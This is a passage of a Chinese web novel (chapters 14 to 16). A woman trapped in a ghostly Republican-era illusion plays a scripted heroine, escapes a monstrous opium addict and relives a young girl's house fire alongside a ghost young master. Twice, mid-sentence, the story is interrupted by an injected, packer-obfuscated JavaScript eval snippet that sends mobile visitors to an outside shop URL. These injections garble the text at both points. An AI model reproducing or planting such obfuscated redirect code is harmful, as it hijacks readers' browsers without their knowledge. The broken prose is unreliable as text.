“谢谢老张哥,我记住了。”黎秋又笑得乖巧,连连道谢。 老登,早晚从你嘴里撬出来有用的东西。 “铛~”钟楼的响声从远方传来。 黎秋又中学是在南城的老城区读的,那座学校,据说已经有百年历史,随着人口迁移,这座学校逐渐萧条,早已经没有当年风光。 学校前身是南都女子学院,沿袭至今,什么制度都变了,教学楼也翻新过无数回,唯独那座钟楼,据说建校起就有了。 黎秋又幻听到那座学校的钟声,看了看腕表,时间刚到两点。 她并不想出去逛什么鬼街,也不想去医院看乔小姐的母亲。将军府给足了乔小姐体面,黎秋又不想要这个体面。 金光忽现,在太阳光线下不太显眼,险些叫她错过了剧情。 【险些暴露的乔挽云没有就此放弃,宋铭于她和母亲有救命之恩,此债不偿,心绪难平。非为私情,惟求心安,还需再报,直至两清。】 “让我演女主能不能提前告诉我女主都干了些啥啊!”黎秋又恨没有传说中的系统,这能找谁商量去。 早知道刚才就该把银元给出去的,省得再费事了。 黎秋又哭:哎!问题是也没告诉我现在又去哪里找宋铭啊! 唐约她们或许已经离开了宅子,也或许没有。黎秋又在后门掀开一个缝,门外,是吆喝连天的热闹小巷,青石砖瓦的墙根下摆放着背篓等杂物,冬季长青的藤蔓稀稀落落爬在墙头。 不是唐约她们说的一片白雾。 黎秋又还是穿着一双小皮鞋,比昨晚那双厚些了,里面是毛绒的,两脚迈出院子,忽然觉得眼前的景象似曾相识。 毕竟不是穿越了,这个年代距离新中国也不远,黎秋又只觉得像是回到了南城老城区的熟悉感。 只是街上的路人,仍旧模糊看不见五官。 也幸好黎秋又近视,她就当做这是看不清,反正不戴眼镜,也是十米开外人畜不分,她多少减轻了些胆怯。 年关将近,已经有许多人家开始张贴对联,红彤彤的街道,还挺喜庆。 看不见的太阳仍旧不知在哪个位置勤勤恳恳散发温暖。到底不是现实世界。 家家户户烧火的烟气弥漫,还真像是有种活人气息,他们就像是依旧生活在这里的人,照常出摊赚钱,照常庆祝佳节。 只微微抬眼,黎秋又便看见了那座对于此时来说非常高的建筑,她已经看了三年的,中学时期的钟楼。 一模一样。只不过要比起后来更新一些。 在这里遇到熟悉的建筑,黎秋又更加深了亲切感,既然不知目的地,她就先朝直觉处走。 她也不是瞎的,可奇怪的是,她走几步就会被脚下的东西绊到,黎秋又是不可能凑近去看到底是什么的,保不齐会被什么倒在路边的残胳膊断腿的吓死。 但在她第六次差点被脚下的东西绊倒的时候,黎秋又终于忍无可忍地低下头去看到底是什么的时候,果真还是被吓到了。 不是什么残肢,而是瘫在路边,早已混不知天昏地暗的人,形容枯槁的手指已经没什么力气,还握着两三掌长的烟管。 没有五官的人,脸上却还能看出厚重黝黑的眼圈,枯瘦的身形比家里那两位高堂还更有甚之,胸前单薄的布料还能透出里面清晰可见的肋骨条。 双手就像脱了水的干柴,黎秋又被吓得跌坐在地,狠狠朝身后退了几屁.股墩。 她赶紧起身来,拍了拍身上的土,猛地朝前跑。 跑着跑着,她就听见了稍微熟悉的声音,刚刚才听到过。不,准确来说,杂乱又混沌的声音中,她只能听清这一个声音。 “再给我一口,求你了!” 是宋铭。 黎秋又提了提裙摆,攥在手里,她的对面,跪在地上的宋铭正在一间烟馆门前。 宋铭被门口的小厮狠狠踹了一脚,他却浑然不觉,又爬起来,朝那小厮扑过去。 小厮大骂:“没钱就滚远点!” 黎秋又捏了捏口袋里的银元,刚才多的部分都在荷包里,被台词全变成了草,现在口袋里就剩下几块。 现在是找到债主了,可她也不确定要不要还钱了。还掉了人情,她可以和宋铭两清,可如果这时候把钱给他,那他一定会拿去抽烟的。 霎时间,萧条又烟雾缭绕的街道,到处都是灰扑扑的,人是灰的,烟是灰的,路也是灰的,只剩下路中间站着的黎秋又,火红的围巾,像一团温暖的火。 “阿云,你怎么在这里?” 她的身后突然响起贺砚清的声音。 宋铭再次被小厮一脚踢飞,眼见着要飞到黎秋又脚边来,贺砚清扶着她的肩,把人向后带了带。 眼神浑浊的宋铭被踢倒在地,晕头转向地在地上滚了两下后,抬眼看见了头顶的黎秋又。 宋铭漏出一排熏黄的牙,笑得灿烂,“挽云!挽云你来了,快,快帮我跟那人说,你有钱,可以叫他给我□□了!”他说着就要来抓黎秋又的裙摆。 贺砚清又把她往后带了几步,冷着声:“阿云认得他?” 黎秋又被吓着了,刚刚才见过一面的宋铭,看他模样,还当是文秀书生,现在眼镜一摘,惨白的面容上两个深深的暗坑,像被黑山老妖吸干了精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704973|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气的人干。 贺砚清的手还扶着她的胳膊,有些力道,黎秋又怔愣着,回头看了眼贺砚清,呆呆地摇摇头。 贺砚清身高腿长,站在那里身姿如松,嶙峋傲岸,他只微垂长睫,并没有将地下的人看在眼里,手上更用了些力道,将黎秋又手臂握着,朝怀里轻带,略过地下的人,从另一侧离开了。 “等我一等!”黎秋又突然惊呼,拉住了贺砚清,她还有任务在身上呢! 天色肉眼可见得又阴了。 原来阴晴不定这个词是写实派。黎秋又的手还扶在贺砚清臂弯,她无辜地笑笑,“我欠他钱,该还的。还过就两清了。” “啊——快让让!救命!” 又一道熟悉的声音, “哎哎哎别晃别晃!” 黎秋又侧过脑袋,宣余不知从哪整的二八大杠骑着,正直冲冲朝两人中间撞过来,身后的池二浩拽着他两侧衣角,一脸紧张。 眼见着就要撞上来了,黎秋又猛地扑倒贺砚清,紧贴在贺砚清身后的青石墙壁上。 下一刻,那俩孩子稀里哗啦摔了一地。 “自行车都不会骑,要你有啥用!”池二浩赶紧爬起来去扶车。 宣余还坐在地上,摔懵了似的,左看看抱在一起的黎秋又贺砚清,右看看匍匐在地,一手还做要抓黎秋又姿势的宋铭,宣余顺势一躺,“哎哟我,哎呦我的娘嘞,是谁绊了我啊!真他娘的疼啊!” 他原地抹了抹眼泪,朝池二浩挤眉弄眼,池二浩一看自己兄弟戏精附身,连忙也作势去看车有没有什么问题,一边看一边叹气,“哎这里刮烂了,龙头怎么也歪了啊?” “是你,好端端的人躺在路中间,你就是故意的!”宣余指着宋铭。 “哎呦,哥哥姐姐你们刚才也看见了对不对,这人躺地上,故意绊我呢!”宣余哭唧唧。 躺在地上的宋铭,胳膊上还有两道车轱辘印,一脸迷茫,喃喃着:“我没……”。 黎秋又惊呆了,忽然灵光乍现,忙从贺砚清身上起来,蹲到宣余面前去。 贺砚清身前一空,温暖一触即散,只留下一股淡淡的幽兰花香,对,他猜的,他闻不到她的味道。 “小兄弟你怎么样了?要去看医生吗?说到底也有我们的责任,不该挡着路了,这样吧,医药费我替他承担了,这样我们就两清了。”黎秋又说。 宋铭看看黎秋又,又看看宣余,耳朵里“嗡嗡”的。 宣余还在不依不饶,“哎呦,一点儿钱哪够啊姐姐,你看他,手伸那么长,又那么硬,我从这么高的车上摔下来,多疼啊,疼死我了!” 贺砚清走到二人身旁来,宣余和黎秋又还在演个没够,冷不丁的,宣余扭头去,口中还在嚷嚷“他的手可太长了”,一边就发现,宋铭的手果真更长了。 深蓝色布衣裹着细长枯树枝,暴起的血管就树枝凸起的脉络,枝枝丫丫,正朝着二人伸过来。 池二浩见状不对,丢下自行车就要过来揪宣余和黎秋又的衣领子跑。 本就有深黑眼圈的宋铭,此时眼眶更加凹进去,皮肤迅速萎缩,直至紧贴头骨。 “完蛋了,演过头了!”宣余口中喃喃,双脚在地下蹲麻了,连起身都忘了。 黎秋又反应快些,她赶紧起身要拖宣余,身后却被贺砚清挡住。 真是要死啊!小鬼暴走,鬼王还在这监管! 迅速枯化的宋铭现在俨然成了一个怪物,他四脚撑地,蜘蛛踩高跷似的朝着他们一步一步挪了过来,他异化过后的脸上已经完全不见人形,空洞的眼窝里眼球都不见,但看上去比他先前人形的时候有力量多了。 “小胖墩,你从今天开始必须要减肥了!”黎秋又和池二浩两人都没把宣余拽起来,欲哭无泪。 算了,死也得让宣余垫在他们上面,黎秋又还没来得及躲在宣余厚实身体后,就听“嘭”地一声。 15. 第 15 章 黎秋又没来得及欣赏枯树枝干爆裂的烟花,就被贺砚清扭了个身,把她脑袋按进了怀里。 天!成何体统!光天化日,卿卿我我,没人就算了,这么多人人鬼鬼,黎秋又顾及身份,挣扎着要从他怀里钻出来。 “少爷威武!”宣余拍着胸脯,带着阵阵后怕,仍不忘拍马屁。 池二浩用左手按住右手,生理性颤抖按都按不住,用脚尖踢了踢宣余,明明更可怕的就在身边,他凭什么认为少爷会一直护着他们。 然而这一遭并不是事情结束。 爆裂声如枯柴燃烧,噼里啪啦,残肢断骸向四下飞去,与此同时,她闻到一股强烈的清苦的臭味,就从宋铭爆裂开的身体中散发出来。 这大概是鸦片的味道。按理说这玩意应该是香的,黎秋又没办法细想,因为她怎么也挣脱不了贺砚清的手臂,这时候,正抱着她开始活动筋骨。 这时候活动哪门子的筋骨?她听见了宣余滋里哇啦的声音。 “我了个槽啊!鬼啊!全是鬼啊!” 贺砚清用左手手臂稳稳扶着黎秋又,手掌仍然按着黎秋又后脑勺,力气大得黎秋又丝毫无法动弹。 他的另一手,揪着完全慌了神的两人的后领猛地后退几步,身后一道冷硬的门板“砰”地被打开,两人就被丢了进去。 黎秋又是被贺砚清抱着安稳放在地上后,束缚她的力道猛然松开,她面前的一扇门就又被关上了。 速度快如急风闪电,只能瞥见那道天青色身影鬼魅般从眼前消失。 他好像本来就是鬼,黎秋又甚至还不知道发生了什么。 “少爷好像……帮我们杀了鬼?”宣余抻了抻自己被拉扯得别扭的衣领,牙打着磕巴。 池二浩还站在原地,看了看门口,又在现在所处的空间里四下望着,还好,这里没有外面那些怪东西。 “乔姐姐没看见,刚才,地下那些枝枝丫丫的东西就跟从地里长出来了一样,全都跟开始地上那个爬虫一个样,张牙舞爪地就要往我们这边扑啊!那场面,简直跟丧尸攻城一样了!” 似乎是为了印证宣余的话,屋外连续传来“噼里啪啦”的柴火爆裂声,门板被砸地“哐当哐当”。 “好离谱……”黎秋又莫名,压低声音,“贺砚清不是他们的鬼头子吗?” 池二浩谨慎地在这个房间里搜寻,这只是一间普通的民房,单一间,屋子前半截是灶房,后半截是床铺,中间连隔断都没有,就是所有家具黑得跟碳似的。 他一边搜索,一边回答黎秋又的话:“鬼怪的思维肯定不能用正常人的方式思考吧。” “但是你说,会不会有一种可能,”宣余贼兮兮地撅着屁.股想要透过门缝望出去,“没准是咱少爷喜欢乔姐姐呢?” “所以我们才会沾乔姐姐的光,被少爷顺带保护了一下。” “你想什么呢!”池二浩一巴掌拍上宣余的腚,“你也别忘了,少爷先前拧了多少个人脑袋?” 黎秋又却也不顾及地上的小木凳有多黢黑,拖过来就坐下,开始复盘,刚才做了什么才会让鬼怪暴走。 “你们刚才闻到了鸦.片的味道吧?” 池二浩和宣余停止打嘴仗,宣余凑到黎秋又面前蹲下,“乔姐姐的意思是,是这股味道让地下那些鬼全都冒出来了?” 池二浩也凑过来,“我看得清楚,那些其实不是从地底下冒出来的,是原本就躺在路边,吸大.烟的人。” 宣余突然“啊”得一声,一惊一乍获得了两对白眼,他嘿嘿两声,问黎秋又,“乔姐姐你怎么出来的?我们跟少爷坐汽车跑了好远才到这里的,你怎么突然就出现在这了?” “很远吗?或者你确定不是围着院子转了个圈?”难怪刚才贺砚清问她怎么在这里。 “不可能,我的方向感还是很强的,这离将军府远得可不是一丁半点。”宣余自豪地拍胸脯。 黎秋又干笑,“我拉开后门就到这了,难道我还有个能开启任意门的金手指。” 宣余和池二浩让成一条小道,示意她去开门。 黎秋又“咯噔”一下,硬着头皮去尝试。而她只是将门掀开了个缝,猛然一只干枯的手就戳进了门内来,她甚至还没来得及看见贺砚清的身影。 两男高赶紧上来按住摇摇欲坠的门板,宣余再提馊问:“乔姐姐,你是不是没念什么口诀?” “现在这是重点吗!”黎秋又一脚把枯手蹬出去,俩男高后背靠上去死死抵住了门板。 “不是什么金手指的话,那这条街应该就是要发生重要剧情的地方,可你们不是跟着贺砚清去梨园吗?怎么到这来了?” “少爷只问了我们一句,为什么先前穿着这身袍子唱戏的是女人,塘里漂的尸体却是男人?”宣余也不理解,他皱眉思考。 池二浩搭腔:“因为我们改剧本了啊。” “所以他是替死鬼呗?”宣余顺着他的话。 黎秋又打成结的脑筋突然通了,贺砚清先前思路清晰地笑话过她,怎么不记得台上唱戏的明明是她表姐,“贺砚清一早就知道那是替死鬼了,现在是来这里找尸体?” 现在这条街上杂臭,脏乱,都是烟鬼,每天都会死几个人在这里,住户早已见怪不怪,他们也不会关心门口多了几具尸体,只要不挡着自己的路,他们绝不多看一眼。 要处理尸体,这个地方最合适不过。 “好滑稽啊,在全是鬼的地方,找尸体……” 黎秋又看了看表,就这么眨眼的功夫,时间竟然就已经到了晚上七点,二十三岁的黎秋又头一次这么直观地感受到生命在流逝。 又少活了半天。 宣余和池二浩凑过来,也发现了时间的变动。三人盯着表研究了半分钟,浑然不知周遭环境已经开始变化。 一股浓重的海潮咸腥味突然钻出来,比起昨晚的不相上下,三人这才转身去,就见原先炭黑的家具有了本来的面貌,床架是红木,凳子是黄木,床边多了一只与凳子同色的小方桌,桌上摆着一只油灯,油灯的套管上糊满了陈年油渍,以至于灯光昏暗,连小方桌都照不全面。 一个短发女孩大半个身子都趴在桌上,凑近那一点微弱灯光,手中捏着一支比手掌还要短的铅笔,在泛黄的纸张上,费劲地写字。 三人差点抱团夺门而出,静待三四秒钟,□□秒钟,才发觉那小女孩似乎根本不理他们。又或者说,他们三个又进入幻境了,幻境中的幻境。 “看看人家,这么艰苦的条件还在学习,贺砚清只是让你抄单词你就不乐意了。”黎秋又像极了过年时念叨小辈子的七姑八姨。 池二浩补刀:“对啊,总比让你解三角函数强。” “拉倒吧你,要不是你拉着我逃课,我们也不会误入这鬼地方来。” 池二浩眼角抽搐。 黎秋又凑近看了看女孩写的字,铅笔是石墨纯度很低的劣质笔芯,写出来的字迹很浅,但女孩很用力。 “今天买了九条鱼,专了2快很元……” 宣余凑脑袋到小姑娘身前,“写的啥玩意?” 像是为了给他们解答,女孩念出了声:“今天卖了九条鱼,赚了两块银元,秋兰去上学了,爸爸又去喝酒。” 她念着写下了并不能称之为字的记录,将泛黄的小本子折好,揣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716203|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进身上蓝布衣服的补丁口袋里。 而后从桌上站起身,几人这才发现她看上去七八岁的模样实际上才只有黎秋又半人高。 “这小姑娘营养不良啊,瘦得跟火柴棍似的。”宣余仗着对方听不见,肆无忌惮地说。 “嚓—”火柴发出短暂燃烧声,女孩跑去灶炉前点火。 黎秋又忽感一阵头晕目眩,是一种饿极了,低血糖的感觉。 “明明才吃完饭啊。”黎秋又按了按空荡荡的胃。 池二浩也按了按,“我也饿了。” 宣余:“突然有点想少爷做的饭了,其实还是挺好吃的哈。” 黎秋又赞同地点点头,又在一个晃神的功夫,半人高的短发小姑娘从灶台边的凳子上跳下来,端着做好的饭菜上了桌。 “夹生饭啊,难怪吃了营养不良。”宣余面露怜悯。 “这不是夹生饭啊,”黎秋又趴过去看,“就是一种很便宜的碎米,这种米吃了不顶饿。” 池二浩问:“你吃过啊?” “当然没有,小时候在农村长大,吃的都是自家种的,不算什么好米,但也不至于这么差。”黎秋又耸肩。 “所以我们三个在这里研究一个小女孩吃什么?这么无聊?”宣余往墙上一靠,“哎,也不知道少爷那边什么时候结束。” 这时候,他们的背后,先前用门栓上了锁了破旧木门,发出贫穷的“吱呀”一声,开了。 还惦记着那些枯手,三人抱团后腿,然而进来的不是枯枝鬼怪,也不是俊雅清逸的贺砚清。 是一个浑身酒气的男人。 黎秋又回头去看小女孩,她赶忙从桌边站起来,缩到墙角佝着背站着。 男人进来就往桌边一坐,端着女孩做好的饭闻了闻,又丢在桌面上,面无表情地嗤了一声:“猪都不吃,重新做一碗来。” 黎秋又试着踢了踢桌边的凳子制造一点响动,那男人还真朝凳子看了眼,但他醉得太狠了,就当没看见。 “他能听见我们制造的杂音。”池二浩下结论。 一道鬼气森森的声音出现在三人身后,“这是小女孩的记忆,这房子马上要着火,先跟着我离开。” 黎秋又扭过头去,“你认识?亲戚?” 贺砚清无奈:“算是吧。” 将军府会有这样的亲戚?奇怪。 “好吧。”这不重要,黎秋又再问:“怎么出去?” 贺砚清开始怀疑黎秋又是不是被这俩笨书童传染了,但他没开口,攥着她手腕,去拉开了房门…… “哈哈哈,当然是走出去啊!”宣余紧跟其后。 池二浩小声嘀咕,“搞半天任意门的金手指在少爷身上。” 出门的瞬间,他们都听到了一道微不足道的小声响,火柴燃烧发出的声音。 片刻后,三人出现在了钟楼上,“铛”得一声震杀灵魂的钟响,三人一鬼从钟楼望出去,竟又到了白天,表上的时间变成了下午两点整。 “又少活了一晚上。”黎秋又感到悲怆。 贺砚清听见了她的话,幽幽道:“我会赔给你们。” “啊?”这也能赔?“赔给我们,一个……晚上?”黎秋又就当做贺砚清在开玩笑。 “注意看,这个女孩叫小美,她正在欣赏自己的杰作,杀人放火。”宣余用解说主播的语气胡说八道,遭到池二浩一记暴栗,“小女孩肩膀一耸一耸的,明明在哭。” 太远了,黎秋又看不清……她只能看见钟楼之下的街道上,一小块焦黑的区域正在冒着丝丝缕缕烟雾。 此时,面前又开始环绕金光,她能看见的台词来了! 16. 第 16 章 【乔挽云立于早已破败的花溪街,周边却人声渐起,热闹沸腾,转眼之间时光迅速倒流,她竟站在了一焦黑废屋前,一小女孩冲出,环抱在她腰间,哀声恸哭,她却高扬起手,扇了过去。】 宣余见台词出现,赶紧拉着贺砚清往另一边看,还一边问:“少爷,你看那边是什么?” 贺砚清敲敲他脑袋,“那是码头,你是被吓傻了吗?” 黎秋又和池二浩在这边琢磨剧情,两人都是一脸的莫名其妙。 “乔姐姐,你确定你这台词是乔挽云剧本?”池二浩看了眼贺砚清那边,压低声音对黎秋又说:“你这到底是啥人设啊?” 黎秋又:“……” “现在不确定了。” 剧情太跳跃了,人设也一言难尽。 但这不重要,黎秋又得改这台词,“怎么样改剧情能让我别和她有肢体接触啊!?扇巴掌……这我下不去手~!” 黎秋又压低的声音都在发颤,谁知道这小女孩又是个什么鬼。 “你下不去手就不下啊,台词能控制你心智?”池二浩问。 黎秋又也不知道,没试过,“那不然试试?” 池二浩:“试试呗,要不你把她哭改成笑,毕竟伸手不打笑脸人啊。” 黎秋又嘴角抽搐:“你这听起来像个馊主意。” 宣余那边有些急了,使劲在背后朝两人招手,他大声问少爷:“那为什么我们要坐火车回来,不坐船?” “你还想坐船?当年也不知道是谁,坐了两天船,吐了两天睡了两天,吃东西都靠插管喂。”贺砚清颇有些无奈,不想理他了。 黎秋又心一横,“笑就笑吧,我不打她就没事了。”掏出绿毛笔来就迅速改好。 就是哀声恸哭,变成哀声恸笑,通不通顺是一码事,怎么看怎么毛骨悚然。 台词消散,贺砚清转过身来。 自从刚才站到这里来,他整个人看上去格外轻松,没有满面愁容,没有隐隐的悲伤,眉眼延展,就真是阳光少年郎了。 离近了以后,黎秋又有些看呆了,这么精致的容貌,她写作时掏空了词汇库要塞给男主的设定,似乎都没有直面冲击来得震撼。 怎么这少爷还能越看越好看? 有一种不祥的预感……黑山老妖维持容貌好像是靠吸活人的……欧漏! 她还没来得及继续脑补,突然感觉脑瓜子被灵魂提取器抓了一下,手腕又被一双劲瘦有力的手掌握住,眼前一花。 黎秋又出现在了刚才那钟楼上的数百米之外,那个火灾现场。 手腕被人攥住,贺砚清竟然也被带到这里来了。 黎秋又赶紧把自己的手腕从贺砚清那鬼爪上抽回来,呵!没准这男鬼道行高深,不需要嘴对嘴也能吸活人阳气。 突然,一道黑黢黢的小影子,从黑黢黢的废墟里钻出来,黎秋又向后躲不及,会撞进贺砚清怀里,下一秒,自己腰间就被一双冰冰凉的小手环住了,顺带还吹过来一阵带着鱼味的风。 黎秋又缓缓低下头去,只见那花不溜秋的小脸上,因眼泪滑落而产生的痕迹吊在眼睛下面,这也就罢了…… 她在笑。 呲着牙,弯着眼,仰着脑袋,两道泪痕白森森的,看着黎秋又。 黎秋又刚从鬼爪里抽出来的手还在甩,她又想推开这个可怕的小女孩,鬼使神差的,她就当真扬手,扇了过去。 还在钟楼上站着的俩男高倒吸一口凉气。 这一巴掌过去,黎秋又自己也愣住了,小女孩被扇偏过去的脸又转回来,还在笑,实在渗人。 这才注意到,周边好多人,在低声八卦。 “这丫头没怎么见过啊,难道是她姐姐?” “哪有姐姐这样对妹妹的?” “这也是个可怜孩子,房子烧没了,以后的日子怎么过哦。” 贺砚清蹲下身去把小女孩拉开,指了指废墟里的焦黑尸体,轻声问:“那是你爸爸吗?” 女孩抽了两下,指黎秋又,“是她爸爸。” 黎秋又指了指自己,内心不知该咒骂谁的,咒骂了一万遍,这又是什么剧情! 贺砚清抬眼看她,眉眼弯了弯,示意黎秋又别急。 “她是你的什么?”贺砚清指黎秋又。 小女孩终于用她的脏袖子把脸擦了一把,大喘两口新鲜空气,讲起话来平铺又僵硬,“她是秋兰,是我姐姐,她上学去了,爸爸死了才回来。” “那你叫什么?”贺砚清又问。 “我叫鱼老二。” 黎秋又眼角抽抽,“……” 她用手指戳了戳贺砚清的肩,他才站起身来,对黎秋又笑笑,一脸轻松,“别怕。” 他又要握黎秋又的手腕,被黎秋又躲开。 贺砚清顿住,手心向下,手指蜷了蜷。 “你是秋兰的男朋友吗?”小女孩一副惨样,仰着脑袋问贺砚清。 贺砚清又笑,唇角压都压不住,但他点了点女孩鼻子,正色道:“不是。” 他这次靠近黎秋又,手上带着不容挣脱的力道,态度强.硬地握住了黎秋又的手腕。 一阵酥酥.麻麻的痒从手腕一直往上钻,她忽然听见贺砚清在耳朵里讲话,声音很轻很柔,好听又耳痒,像她自己在喃喃耳语似的。 “是二太太的小时候,这个幻境里的人物没有杀伤力,顺其自然就好。” 说完,他立即松了手。 只瞥了黎秋又一眼,耳尖红红的,半垂的睫毛隐隐发颤,他给她裹上的红围巾一丝不苟得在身上服服帖帖,一点也没有因为大幅度活动而散开。 好乖啊。 黎秋又不知道怎么样叫顺其自然,但她连巴掌都扇了,再蹲下去像贺砚清一样问这问那的,显然有点不太正常。 只能硬着脖颈,愣站那里。 女孩咧嘴笑,没理贺砚清了,转过来对黎秋又解释:“火是他自己放的,他喝多了,自己掀了油灯,把我的本子点着了,然后烧了桌子,我出来捡柴火重新给他煮饭,房子就没了。” 她笑着可是还在流泪。 所以,二太太小的时候,自己在外面卖鱼,家里还有个读书的姐姐和酒鬼老爹,这一天,酒鬼老爹死了,房子烧了。 这悲惨身世,这才是天命女主吧? 黎秋又这次扮演的是她的姐姐,于是蹲下身去,把女孩拉进怀里抱着,一只手在她后背轻轻安抚着。 忽略了那张笑脸,她感受到女孩还是在哭,小身板一耸一耸,她在耳边说话:“我身上只有两块银元,以后就只有我们俩了。” “我会想办法挣钱的。”黎秋又按照自己扮演的身份做事,还在安抚女孩。 鱼老二摇摇头,一抽一抽地“笑”,她说:“不用,我每天多卖点鱼,够让你上学。” 黎秋又心惊,这姑娘,她大概还不到十岁吧! “你不欠我的,不用这么辛苦。”黎秋又略微心酸。 鱼老二轻轻推开了她,神色有些讶然,“不,我欠,秋老爹说,我这辈子都欠你们的。” 这该死的醉鬼老汉连这么小的孩子都PUA,黎秋又还想摸她脑袋安抚她。 虽然她笑得很诡异,但这单薄瘦弱的小身板站在她面前,黎秋又还是忍不住心疼。 不过鱼老二躲开了黎秋又的手,“秋兰,”她从自己那条长一截短一截的裤子兜里摸出来两块银元,递给黎秋又,“给你,我要去卖鱼了。” 说完就跑了,一小滴眼泪被遗留在地板上,晕开。 “别为过去的事情难过。”贺砚清把她拉起来。 “我不难过。”她问贺砚清,“你觉得她为什么要哭?” 贺砚清偏头:“嗯?” 声音低低的,真好听。 黎秋又移开眼睛,去看这街道周围,被她盯过一眼的人群哗然散开,都各做各的事去了。 这还是刚才那条街,但又不像是那条街了,同样的烟雾缭绕,只不过这里的烟是大火过后残留下来的,单纯的木炭气味。 黎秋又以前在小镇子上呆过一段时间,小村小镇的发展很慢,十多二十年都不会有什么太大的变化。 这里也一样,两边低矮的木屋都是住家户,街道窄小到,假如一人躺在地上,自行车都只能从他的手臂上压过去。 原先看见的烟馆的位置,这时候是个空置的房屋,因为面积太大,一般居民住不起这么大的屋子,有点钱的居民又不会在这距离码头这么近的地方住,所以一直空置。 黎秋又望向鱼老二跑走的方向,是先前宣余指着问贺砚清的方向,是码头。 她问贺砚清:“她哭什么呢?那个酒鬼老爹对她又不好,这么小小年纪还要出去赚钱,死了就死了呗。” “她怕啊,毕竟是第一次杀人。”贺砚清声音带着笑,说这样的话,黎秋又感到有点瘆得慌。 “你不是说这里的人没有杀伤力吗?”黎秋又想到了什么,脖颈微凉。 目前看来,“她”和这个妹妹的关系应该不算好,鱼老二过得这么苦,已经解决了一个醉鬼了,再来解决她这个总压榨她的姐姐那应该是早晚的事。 贺砚清凑到她面前来,一张帅脸瞬间放大,距离近了黎秋又看得更清楚,他脸上细致得几乎看不见毛孔,皮肤白到发光。 不愧是鬼。 黎秋又撇开脸。 贺砚清本想说确实没有杀伤力,即使有,也不会真正伤害到他们。 但看着黎秋又的表情,他话到嘴边转了个弯,“我会一直在啊,不会叫别的东西伤害你的。” 他不敢再碰黎秋又了,深怕她再躲避,硬要他心痛。 黎秋又僵着脖子,咽了咽口水,“那你觉得,她会不会杀我这个姐姐?” “目前杀不了。”贺砚清抬步向前,停在黎秋又两步之外“要不要跟上去看看?” 黎秋又:“你不管你那俩跟班了?” 她话音还没落地呢,身后就传来了嚷嚷声:“乔姐姐等等我!” 黎秋又小心肝一颤一颤,她和这两人现在这样,表现得就像领导手底下的人拉帮结派孤立领导似的。 但贺砚清看上去还好,天气也很正常,他笑吟吟地看着俩男高跑过来,又对黎秋又说:“现在,去吗?” . “去啊!愣着干嘛?”唐约靠在一棵树上,用脚尖杵了杵廖欢的小腿。 “我……” 廖欢猫着腰,紧紧盯着不远处,一个躺在地上的人影。 唐约盛气凌人:“你什么你?当初偷看的时候你怎么不害怕?现在害怕了?” 廖欢眼泪快出来了。 二人走着走着莫名其妙就天黑了,手中没有表,没法判断时间。 本是想要去梨园,但人生地不熟的,一个黄包车就把二人带到了一片榕树林里。 此时再想回将军府,也是叫天不应叫地不灵了——这附近什么也没有。 唐约觉得这幻境里面的事情安排一定有它的道理,就索性带着廖欢进了榕树林。 这一带的榕树和将军府的看上去年份差不多,都是上了年纪的老树,枝桠垂下地,像是在老树边伴生的小年轻,粗粗细细,垂垂直直。 她们在里面大概转了一圈,面积并不大,半个多小时就差不多走完了。 也不是什么可怕的鬼打墙,因为两人已经走到了榕树林的边界,另一头变得灯火通明。 像个人口并不少的村落。 在那村子的门前,有一大片空地,正中有一座像是祭坛一样的圆盘,四面阶梯延伸上去,在圆盘的中央,有一根高立的石柱。 唐约准备过去看看,但在快要走出树林时,必经之路上,躺着一个人。 四周都是密密麻麻的年轻枝桠,两人无法从那些缝隙里钻过去,只能从这人身上越过。 这人让唐约想起了不久前才发生的一件事,她和约克导演背着一个男人丢到了榕树林。 被她这个经纪人看到了。 唐约没有被人抓住把柄的心虚,只威胁廖欢,如果这件事传出去了,她可能会想要杀人灭口。 廖欢被吓住了。 她哆嗦着,“唐约姐,我们也不是非得到对面去是不是?不如我们,往回走?” “就算往回走,你也得给我上去看看。”唐约推了她一把,“你别忘了,我们是出来找尸体的。” “你在这个不知道是什么鬼地方,鬼幻境里面找那个人,你觉得这现实吗!”廖欢哭出了声,哑着嗓子低声质疑唐约。 唐约抱胸皱眉,“但那天替我死的那个男人分明就是他!少废话,快上去看看!” 俩人争执的时间有点久了,那个躺在地下的人还是一动不动,估计是个死人,唐约又推了廖欢一把。 几道手电的灯光胡乱扫射,对面有人在大声喊:“谁在那里?” 手电扫着扫着,就定在了躲着蹲在树后的两人身上。 唐约一咬牙,转过身拔腿就跑。 “哎!哎!唐约姐,等等我!”廖欢倒霉催的在她背后追上去。 眼看要追上唐约,地下盘根错节的榕树根绊了她一跤,向前一扑,抓着唐约的衣摆,拽着她,两人一起摔了个狗吃屎。 再一抬头,两人竟身处一个昏暗又热闹的大堂,满屋子酒臭汗臭和脚臭,面前围了一圈奇形怪状的大汉。 又是刀疤脸又是纹身哥的,这怕是土匪窝吧! 唐约立即收腿蹲好,手放在她的黑色皮靴边,那里有一只她藏在里面的匕首。 一位面容硬朗英俊,凛然伟岸的男人居高临下看着她们,一切小动作全然逃不过他的眼睛,他鞋尖轻挑,唐约的手被他挑开了。 顺带着,那只匕首也掉出来。 这人依旧是那一脚,勾住匕首把柄,向上一抬,手接住匕首的同时还挽了道花刀,刀刃的光从他眼里闪过,狡黠的目光暴.露无遗,唐约就见那人掀唇轻笑,“哪里来的美人,专程跑上门,来给我当压寨夫人的?” 